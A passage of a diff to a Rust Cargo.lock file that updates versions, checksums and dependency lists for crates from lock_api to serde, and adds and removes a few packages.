 [[package]]
 name = "lock_api"
-version = "0.4.9"
+version = "0.4.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df"
+checksum = "96936507f153605bddfcda068dd804796c84324ed2510809e5b2a624c81da765"
 dependencies = [
  "autocfg",
  "scopeguard",
@@ -1583,11 +1731,10 @@ dependencies = [
 
 [[package]]
 name = "log"
-version = "0.4.17"
+version = "0.4.27"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
+checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94"
 dependencies = [
- "cfg-if",
  "value-bag",
 ]
 
@@ -1606,29 +1753,30 @@ version = "0.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
 dependencies = [
- "regex-automata",
+ "regex-automata 0.1.10",
 ]
 
 [[package]]
 name = "matchit"
-version = "0.7.0"
+version = "0.7.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b87248edafb776e59e6ee64a79086f65890d3510f2c656c000bf2a7e8a0aea40"
+checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94"
 
 [[package]]
 name = "md-5"
-version = "0.10.5"
+version = "0.10.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6365506850d44bff6e2fbcb5176cf63650e48bd45ef2fe2665ae1570e0f4b9ca"
+checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf"
 dependencies = [
+ "cfg-if",
  "digest",
 ]
 
 [[package]]
 name = "memchr"
-version = "2.5.0"
+version = "2.7.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
+checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0"
 
 [[package]]
 name = "memory-adaptor"
@@ -1648,9 +1796,9 @@ checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
 
 [[package]]
 name = "mime_guess"
-version = "2.0.4"
+version = "2.0.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef"
+checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e"
 dependencies = [
  "mime",
  "unicase",
@@ -1664,23 +1812,22 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
 
 [[package]]
 name = "miniz_oxide"
-version = "0.7.1"
+version = "0.8.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7"
+checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
 dependencies = [
- "adler",
+ "adler2",
 ]
 
 [[package]]
 name = "mio"
-version = "0.8.6"
+version = "1.0.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9"
+checksum = "78bed444cc8a2160f01cbcf811ef18cac863ad68ae8ca62092e8db51d51c761c"
 dependencies = [
  "libc",
- "log",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys 0.45.0",
+ "wasi 0.11.1+wasi-snapshot-preview1",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -1691,11 +1838,10 @@ checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a"
 
 [[package]]
 name = "native-tls"
-version = "0.2.11"
+version = "0.2.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e"
+checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e"
 dependencies = [
- "lazy_static",
  "libc",
  "log",
  "openssl",
@@ -1758,20 +1904,19 @@ dependencies = [
 
 [[package]]
 name = "num-bigint"
-version = "0.4.3"
+version = "0.4.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f93ab6289c7b344a8a9f60f88d80aa20032336fe78da341afc91c8a2341fc75f"
+checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9"
 dependencies = [
- "autocfg",
  "num-integer",
  "num-traits",
 ]
 
 [[package]]
 name = "num-bigint-dig"
-version = "0.8.2"
+version = "0.8.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2399c9463abc5f909349d8aa9ba080e0b88b3ce2885389b60b993f39b1a56905"
+checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151"
 dependencies = [
  "byteorder",
  "lazy_static",
@@ -1792,19 +1937,18 @@ checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
 
 [[package]]
 name = "num-integer"
-version = "0.1.45"
+version = "0.1.46"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9"
+checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
 dependencies = [
- "autocfg",
  "num-traits",
 ]
 
 [[package]]
 name = "num-iter"
-version = "0.1.43"
+version = "0.1.45"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d03e6c028c5dc5cac6e2dec0efda81fc887605bb3d884578bb6d6bf7514e252"
+checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf"
 dependencies = [
  "autocfg",
  "num-integer",
@@ -1813,37 +1957,36 @@ dependencies = [
 
 [[package]]
 name = "num-traits"
-version = "0.2.15"
+version = "0.2.19"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd"
+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
 dependencies = [
  "autocfg",
  "libm",
 ]
 
 [[package]]
-name = "num_cpus"
-version = "1.15.0"
+name = "object"
+version = "0.36.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b"
+checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87"
 dependencies = [
- "hermit-abi 0.2.6",
- "libc",
+ "memchr",
 ]
 
 [[package]]
 name = "once_cell"
-version = "1.17.1"
+version = "1.21.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b7e5500299e16ebb147ae15a00a942af264cf3688f47923b8fc2cd5858f23ad3"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
 
 [[package]]
 name = "openssl"
-version = "0.10.52"
+version = "0.10.73"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "01b8574602df80f7b85fdfc5392fa884a4e3b3f4f35402c070ab34c3d3f78d56"
+checksum = "8505734d46c8ab1e19a1dce3aef597ad87dcb4c37e7188231769bd6bd51cebf8"
 dependencies = [
- "bitflags",
+ "bitflags 2.9.1",
  "cfg-if",
  "foreign-types",
  "libc",
@@ -1860,20 +2003,20 @@ checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "openssl-probe"
-version = "0.1.5"
+version = "0.1.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
+checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e"
 
 [[package]]
 name = "openssl-sys"
-version = "0.9.87"
+version = "0.9.109"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e17f59264b2809d77ae94f0e1ebabc434773f370d6ca667bd223ea10e06cc7e"
+checksum = "90096e2e47630d78b7d1c20952dc621f957103f8bc2c8359ec81290d75238571"
 dependencies = [
  "cc",
  "libc",
@@ -1883,9 +2026,9 @@ dependencies = [
 
 [[package]]
 name = "os_str_bytes"
-version = "6.5.0"
+version = "6.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ceedf44fb00f2d1984b0bc98102627ce622e083e49a5bacdb3e514fa4238e267"
+checksum = "e2355d85b9a3786f481747ced0e0ff2ba35213a1f9bd406ed906554d7af805a1"
 
 [[package]]
 name = "ouroboros"
@@ -1918,9 +2061,9 @@ checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
 
 [[package]]
 name = "parking"
-version = "2.1.0"
+version = "2.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "14f2252c834a40ed9bb5422029649578e63aa341ac401f74e719dd1afda8394e"
+checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba"
 
 [[package]]
 name = "parking_lot"
@@ -1935,12 +2078,12 @@ dependencies = [
 
 [[package]]
 name = "parking_lot"
-version = "0.12.1"
+version = "0.12.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+checksum = "70d58bf43669b5795d1576d0641cfb6fbb2057bf629506267a92807158584a13"
 dependencies = [
  "lock_api",
- "parking_lot_core 0.9.7",
+ "parking_lot_core 0.9.11",
 ]
 
 [[package]]
@@ -1959,22 +2102,22 @@ dependencies = [
 
 [[package]]
 name = "parking_lot_core"
-version = "0.9.7"
+version = "0.9.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9069cbb9f99e3a5083476ccb29ceb1de18b9118cafa53e90c9551235de2b9521"
+checksum = "bc838d2a56b5b1a6c25f55575dfc605fabb63bb2365f6c2353ef9159aa69e4a5"
 dependencies = [
  "cfg-if",
  "libc",
- "redox_syscall 0.2.16",
+ "redox_syscall 0.5.13",
  "smallvec",
- "windows-sys 0.45.0",
+ "windows-targets 0.52.6",
 ]
 
 [[package]]
 name = "paste"
-version = "1.0.12"
+version = "1.0.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9f746c4065a8fa3fe23974dd82f15431cc8d40779821001404d10d2e79ca7d79"
+checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a"
 
 [[package]]
 name = "pem"
@@ -1998,9 +2141,9 @@ dependencies = [
 
 [[package]]
 name = "percent-encoding"
-version = "2.2.0"
+version = "2.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e"
+checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
 
 [[package]]
 name = "petgraph"
@@ -2009,34 +2152,34 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "467d164a6de56270bd7c4d070df81d07beace25012d5103ced4e9ff08d6afdb7"
 dependencies = [
  "fixedbitset",
- "indexmap",
+ "indexmap 1.9.3",
 ]
 
 [[package]]
 name = "pin-project"
-version = "1.0.12"
+version = "1.1.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad29a609b6bcd67fee905812e544992d216af9d755757c05ed2d0e15a74c6ecc"
+checksum = "677f1add503faace112b9f1373e43e9e054bfdd22ff1a63c1bc485eaec6a6a8a"
 dependencies = [
  "pin-project-internal",
 ]
 
 [[package]]
 name = "pin-project-internal"
-version = "1.0.12"
+version = "1.1.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "069bdb1e05adc7a8990dce9cc75370895fbe4e3d58b9b73bf1aee56359344a55"
+checksum = "6e918e4ff8c4549eb882f14b3a4bc8c8bc93de829416eacf579f1207a8fbf861"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 1.0.109",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "pin-project-lite"
-version = "0.2.9"
+version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116"
+checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
 
 [[package]]
 name = "pin-utils"
@@ -2044,6 +2187,17 @@ version = "0.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
 
+[[package]]
+name = "piper"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96c8c490f422ef9a4efd2cb5b42b76c8613d7e7dfc1caf667b8a3350a5acc066"
+dependencies = [
+ "atomic-waker",
+ "fastrand",
+ "futures-io",
+]
+
 [[package]]
 name = "pkcs1"
 version = "0.3.3"
@@ -2068,24 +2222,32 @@ dependencies = [
 
 [[package]]
 name = "pkg-config"
-version = "0.3.27"
+version = "0.3.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964"
+checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
 
 [[package]]
 name = "polling"
-version = "2.8.0"
+version = "3.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce"
+checksum = "b53a684391ad002dd6a596ceb6c74fd004fdce75f4be2e3f615068abbea5fd50"
 dependencies = [
- "autocfg",
- "bitflags",
  "cfg-if",
  "concurrent-queue",
- "libc",
- "log",
+ "hermit-abi",
  "pin-project-lite",
- "windows-sys 0.48.0",
+ "rustix 1.0.7",
+ "tracing",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "potential_utf"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e5a7c30837279ca13e7c867e9e40053bc68740f988cb07f7ca6df43cc734b585"
+dependencies = [
+ "zerovec",
 ]
 
 [[package]]
@@ -2096,17 +2258,20 @@ checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
 
 [[package]]
 name = "ppv-lite86"
-version = "0.2.17"
+version = "0.2.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
+checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
+dependencies = [
+ "zerocopy",
+]
 
 [[package]]
 name = "proc-macro-crate"
-version = "0.1.5"
+version = "3.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785"
+checksum = "edce586971a4dfaa28950c6f18ed55e0406c1ab88bbce2c6f6293a7aaba73d35"
 dependencies = [
- "toml",
+ "toml_edit",
 ]
 
 [[package]]
@@ -2135,9 +2300,9 @@ dependencies = [
 
 [[package]]
 name = "proc-macro2"
-version = "1.0.86"
+version = "1.0.95"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77"
+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
 dependencies = [
  "unicode-ident",
 ]
@@ -2160,7 +2325,7 @@ checksum = "32d3ebd75ac2679c2af3a92246639f9fcc8a442ee420719cc4fe195b98dd5fa3"
 dependencies = [
  "bytes",
  "heck 0.3.3",
- "itertools 0.9.0",
+ "itertools",
  "log",
  "multimap",
  "petgraph",
@@ -2177,7 +2342,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "169a15f3008ecb5160cba7d37bcd690a7601b6d30cfb87a117d45e59d52af5d4"
 dependencies = [
  "anyhow",
- "itertools 0.9.0",
+ "itertools",
  "proc-macro2",
  "quote",
  "syn 1.0.109",
@@ -2230,20 +2395,32 @@ dependencies = [
  "mach",
  "once_cell",
  "raw-cpuid",
- "wasi 0.10.0+wasi-snapshot-preview1",
+ "wasi 0.10.2+wasi-snapshot-preview1",
  "web-sys",
  "winapi",
 ]
 
 [[package]]
 name = "quote"
-version = "1.0.37"
+version = "1.0.40"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af"
+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
 dependencies = [
  "proc-macro2",
 ]
 
+[[package]]
+name = "r-efi"
+version = "5.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
+
+[[package]]
+name = "radium"
+version = "0.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09"
+
 [[package]]
 name = "rand"
 version = "0.8.5"
@@ -2271,7 +2448,7 @@ version = "0.6.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
 dependencies = [
- "getrandom",
+ "getrandom 0.2.16",
 ]
 
 [[package]]
@@ -2280,7 +2457,7 @@ version = "10.7.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6c297679cb867470fa8c9f67dbba74a78d78e3e98d7cf2b08d6d71540f797332"
 dependencies = [
- "bitflags",
+ "bitflags 1.3.2",
 ]
 
 [[package]]
@@ -2289,38 +2466,39 @@ version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a"
 dependencies = [
- "bitflags",
+ "bitflags 1.3.2",
 ]
 
 [[package]]
 name = "redox_syscall"
-version = "0.3.5"
+version = "0.5.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29"
+checksum = "0d04b7d0ee6b4a0207a0a7adb104d23ecb0b47d6beae7152d0fa34b692b29fd6"
 dependencies = [
- "bitflags",
+ "bitflags 2.9.1",
 ]
 
 [[package]]
 name = "redox_users"
-version = "0.4.3"
+version = "0.4.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b"
+checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43"
 dependencies = [
- "getrandom",
- "redox_syscall 0.2.16",
+ "getrandom 0.2.16",
+ "libredox",
  "thiserror",
 ]
 
 [[package]]
 name = "regex"
-version = "1.8.1"
+version = "1.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "af83e617f331cc6ae2da5443c602dfa5af81e517212d9d611a5b3ba1777b5370"
+checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
 dependencies = [
  "aho-corasick",
  "memchr",
- "regex-syntax 0.7.1",
+ "regex-automata 0.4.9",
+ "regex-syntax 0.8.5",
 ]
 
 [[package]]
@@ -2332,6 +2510,17 @@ dependencies = [
  "regex-syntax 0.6.29",
 ]
 
+[[package]]
+name = "regex-automata"
+version = "0.4.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-syntax 0.8.5",
+]
+
 [[package]]
 name = "regex-syntax"
 version = "0.6.29"
@@ -2340,15 +2529,15 @@ checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
 
 [[package]]
 name = "regex-syntax"
-version = "0.7.1"
+version = "0.8.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a5996294f19bd3aae0453a862ad728f60e6600695733dd5df01da90c54363a3c"
+checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
 
 [[package]]
 name = "rend"
-version = "0.4.0"
+version = "0.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "581008d2099240d37fb08d77ad713bcaec2c4d89d50b5b21a8bb1996bbab68ab"
+checksum = "71fe3824f5629716b1589be05dacd749f6aa084c87e00e016714a8cdfccc997c"
 dependencies = [
  "bytecheck",
 ]
@@ -2370,23 +2559,27 @@ dependencies = [
 
 [[package]]
 name = "rkyv"
-version = "0.7.41"
+version = "0.7.45"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "21499ed91807f07ae081880aabb2ccc0235e9d88011867d984525e9a4c3cfa3e"
+checksum = "9008cd6385b9e161d8229e1f6549dd23c3d022f132a2ea37ac3a10ac4935779b"
 dependencies = [
+ "bitvec",
  "bytecheck",
+ "bytes",
  "hashbrown 0.12.3",
  "ptr_meta",
  "rend",
  "rkyv_derive",
  "seahash",
+ "tinyvec",
+ "uuid",
 ]
 
 [[package]]
 name = "rkyv_derive"
-version = "0.7.41"
+version = "0.7.45"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac1c672430eb41556291981f45ca900a0239ad007242d1cb4b4167af842db666"
+checksum = "503d1d27590a2b0a3a4ca4c94755aa2875657196ecbf401a42eff41d7de532c0"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -2415,9 +2608,9 @@ dependencies = [
 
 [[package]]
 name = "rust-embed"
-version = "6.6.1"
+version = "6.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b68543d5527e158213414a92832d2aab11a84d2571a5eb021ebe22c43aab066"
+checksum = "a36224c3276f8c4ebc8c20f158eca7ca4359c8db89991c4925132aaaf6702661"
 dependencies = [
  "rust-embed-impl",
  "rust-embed-utils",
@@ -2426,23 +2619,23 @@ dependencies = [
 
 [[package]]
 name = "rust-embed-impl"
-version = "6.5.0"
+version = "6.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4d4e0f0ced47ded9a68374ac145edd65a6c1fa13a96447b873660b2a568a0fd7"
+checksum = "49b94b81e5b2c284684141a2fb9e2a31be90638caf040bf9afbc5a0416afe1ac"
 dependencies = [
  "proc-macro2",
  "quote",
  "rust-embed-utils",
  "shellexpand",
- "syn 1.0.109",
+ "syn 2.0.104",
  "walkdir",
 ]
 
 [[package]]
 name = "rust-embed-utils"
-version = "7.5.0"
+version = "7.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "512b0ab6853f7e14e3c8754acb43d6f748bb9ced66aa5915a6553ac8213f7731"
+checksum = "9d38ff6bf570dc3bb7100fce9f7b60c33fa71d80e88da3f2580df4ff2bdded74"
 dependencies = [
  "sha2",
  "walkdir",
@@ -2450,14 +2643,12 @@ dependencies = [
 
 [[package]]
 name = "rust_decimal"
-version = "1.29.1"
+version = "1.37.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26bd36b60561ee1fb5ec2817f198b6fd09fa571c897a5e86d1487cfc2b096dfc"
+checksum = "b203a6425500a03e0919c42d3c47caca51e79f1132046626d2c8871c5092035d"
 dependencies = [
  "arrayvec",
  "borsh",
- "bytecheck",
- "byteorder",
  "bytes",
  "num-traits",
  "rand",
@@ -2467,17 +2658,35 @@ dependencies = [
 ]
 
 [[package]]
-name = "rustix"
-version = "0.37.19"
+name = "rustc-demangle"
+version = "0.1.25"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "acf8729d8542766f1b2cf77eb034d52f40d375bb8b615d0b147089946e16613d"
+checksum = "989e6739f80c4ad5b13e0fd7fe89531180375b18520cc8c82080e4dc4035b84f"
+
+[[package]]
+name = "rustix"
+version = "0.38.44"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
 dependencies = [
- "bitflags",
+ "bitflags 2.9.1",
  "errno",
- "io-lifetimes",
  "libc",
- "linux-raw-sys",
- "windows-sys 0.48.0",
+ "linux-raw-sys 0.4.15",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "rustix"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c71e83d6afe7ff64890ec6b71d6a69bb8a610ab78ce364b3352876bb4c801266"
+dependencies = [
+ "bitflags 2.9.1",
+ "errno",
+ "libc",
+ "linux-raw-sys 0.9.4",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -2507,15 +2716,15 @@ dependencies = [
 
 [[package]]
 name = "rustversion"
-version = "1.0.12"
+version = "1.0.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4f3208ce4d8448b3f3e7d168a73f5e0c43a61e32930de3bceeccedb388b6bf06"
+checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
 
 [[package]]
 name = "ryu"
-version = "1.0.13"
+version = "1.0.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f91339c0467de62360649f8d3e185ca8de4224ff281f66000de5eb2a77a79041"
+checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
 
 [[package]]
 name = "same-file"
@@ -2528,24 +2737,18 @@ dependencies = [
 
 [[package]]
 name = "schannel"
-version = "0.1.21"
+version = "0.1.27"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "713cfb06c7059f3588fb8044c0fad1d09e3c01d225e25b9220dbfdcf16dbb1b3"
+checksum = "1f29ebaa345f945cec9fbbc532eb307f0fdad8161f281b6369539c8d84876b3d"
 dependencies = [
- "windows-sys 0.42.0",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "scopeguard"
-version = "1.1.0"
+version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
-
-[[package]]
-name = "scratch"
-version = "1.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1792db035ce95be60c3f8853017b3999209281c24e2ba5bc8e59bf97a0c590c1"
+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
 
 [[package]]
 name = "sct"
@@ -2579,7 +2782,7 @@ dependencies = [
  "serde_json",
  "sqlx",
  "thiserror",
- "time 0.3.36",
+ "time",
  "tracing",
  "url",
  "uuid",
@@ -2633,24 +2836,24 @@ dependencies = [
 
 [[package]]
 name = "sea-query"
-version = "0.28.4"
+version = "0.28.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5dd34be05fdde9ec79231414bdd44ba1aa9c57349190076699e90721cb5eb59b"
+checksum = "bbab99b8cd878ab7786157b7eb8df96333a6807cc6e45e8888c85b51534b401a"
 dependencies = [
  "bigdecimal",
  "chrono",
  "rust_decimal",
  "sea-query-derive",
  "serde_json",
- "time 0.3.36",
+ "time",
  "uuid",
 ]
 
 [[package]]
 name = "sea-query-binder"
-version = "0.3.0"
+version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "03548c63aec07afd4fd190923e0160d2f2fc92def27470b54154cf232da6203b"
+checksum = "4cea85029985b40dfbf18318d85fe985c04db7c1b4e5e8e0a0a0cdff5f1e30f9"
 dependencies = [
  "bigdecimal",
  "chrono",
@@ -2658,7 +2861,7 @@ dependencies = [
  "sea-query",
  "serde_json",
  "sqlx",
- "time 0.3.36",
+ "time",
  "uuid",
 ]
 
@@ -2728,11 +2931,11 @@ checksum = "1c107b6f4780854c8b126e228ea8869f4d7b71260f962fefb57b996b8959ba6b"
 
 [[package]]
 name = "security-framework"
-version = "2.8.2"
+version = "2.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a332be01508d814fed64bf28f798a146d73792121129962fdf335bb3c49a4254"
+checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02"
 dependencies = [
- "bitflags",
+ "bitflags 2.9.1",
  "core-foundation",
  "core-foundation-sys",
  "libc",
@@ -2741,9 +2944,9 @@ dependencies = [
 
 [[package]]
 name = "security-framework-sys"
-version = "2.8.0"
+version = "2.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "31c9bb296072e961fcbd8853511dd39c2d8be2deb1e17c6860b1d30732b323b4"
+checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32"
 dependencies = [
  "core-foundation-sys",
  "libc",
@@ -2751,41 +2954,43 @@ dependencies = [
 
 [[package]]
 name = "serde"
-version = "1.0.208"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
